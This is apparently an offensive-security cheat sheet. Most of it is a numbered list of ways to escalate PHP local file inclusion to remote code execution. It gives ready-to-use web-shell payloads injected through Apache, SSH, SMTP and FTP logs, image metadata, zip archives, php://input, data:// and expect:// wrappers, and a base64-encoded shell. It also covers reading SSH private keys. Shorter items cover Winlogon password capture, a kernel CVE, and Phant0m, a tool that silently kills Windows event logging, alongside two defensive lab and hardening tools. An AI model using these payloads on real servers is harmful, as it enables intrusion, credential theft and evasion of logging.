Achieving LFI to RCE

1. Apache Log Poisoning

GET /show.php?file=/var/log/apache2/access.log&c=ls HTTP/1.1
User-Agent: <?php system($_GET['c'])?>

2. SSH Log Poisoning

ssh '<?php system($_GET['c'])?>'@target.com
/show.php?file=/var/log/auth.log&c=ls

3. SMTP Log Poisoning

telnet target(.)com 25
MAIL FROM:<test@example.com>
RCPT TO:<?php system($_GET['c'])?>
/show.php?file=/var/log/mail.log&c=ls

4. Image Upload

exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
/show.php?file=../img.jpg&c=ls

5. /proc/self/environ

GET /show.php?file=../../proc/self/environ&c=ls HTTP/1.1
User-Agent: <?php system($_GET['c'])?>

6. php://filter

Read source code, it may contain sensitive data (username/passwords, private keys etc)->RCE
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

"php://filter" is case insensitive. Try URL/Double encoding

7. Zip upload

echo "<?php system($_GET['c'])?>" > shell.php
zip shell(.)zip shell.php
mv shell(.)zip shell.jpg
rm shell.php

/show.php?file=zip://shell.jpg%23shell.php

8. data://text/plain

/show.php?file=data://text/plain,<?php echo base64_encode(file_get_contents("index.php"))?>
/show.php?file=data://text/plain,<?php phpinfo()?>
/show.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pO2VjaG8gJ3NoZWxsISc7Pz4=

9. /proc/self/fd/{id}

Include shell in headers (User-Agent, Authorisation, Referrer etc) and access /proc/self/fd/{id}

10. expect://

/show.php?page=expect://ls

11. input://

POST /index.php?page=php://input HTTP/1.1
<?php system('ls')?>

12. RCE via vulnerable assert statement

Vulnerable Code: assert("strpos('$file', '..') === false") or die("Hacker!");
Payload: ' and die(system("whoami")) or '

13. Log files

/var/log/apache/{access.log or error.log}
/var/log/apache2/error.log
/usr/local/{apache or apache2}/log/error_log
/var/log/nginx/{access.log or error.log}
/var/log/httpd/error_log

Insert payload via headers (User-Agent, Authorisation, Referrer etc)

14. Via PHP sessions

https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/

15. Via SSH

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

16. vsftpd Log Poisoning

Try to login (ftp) with the PHP payload in the username and access /var/log/vsftpd.log

17. Automation

Winlogon Password Leaking

The flow is:
— user enters password
— winlogon loads mpnotify.exe
— mpnotify opens RPC channel
— winlogon sends pass via RPC
— mpnotify forwards to DLL
— DLL stores it on disk

DetectionLabELK

DetectionLabELK is the perfect lab to use if you would like to build effective detection capabilities. It has been designed with defenders in mind. Its primary purpose is to allow blueteams to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. It can easily be modified to fit most needs or expanded to include additional hosts.

CHAPS — Configuration Hardening Assessment PowerShell Script

CHAPS is a PowerShell script for checking system security settings where additional software and assessment tools, such as Microsoft Policy Analyzer, cannot be installed. The purpose of this script is to run it on a server or workstation to collect configuration information about that system. The information collected can then be used to provide recommendations (and references) to improve the security of the individual system and systemic issues within the organization's Windows environment.

Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver (CVE-2021-42008)

CVE-2021-42008 is a Slab-Out-Of-Bounds Write vulnerability in the Linux 6pack driver caused by a missing size validation check in the decode_data function. A malicious input from a process with CAP_NET_ADMIN capability can lead to an overflow in the cooked_buf field of the sixpack structure, resulting in kernel memory corruption. This, if properly exploited, can lead to root access.

Phant0m — Windows Event Log Killer

Phant0m targets the Event Log service and finding the process responsible for the Event Log service, it detects and kills the threads responsible for the Event Log service. Thus, while the Event Log service appears to be running in the system (because Phant0m didn't kill process), it does not actually run (because Phant0m killed threads) and the system does not collect logs.
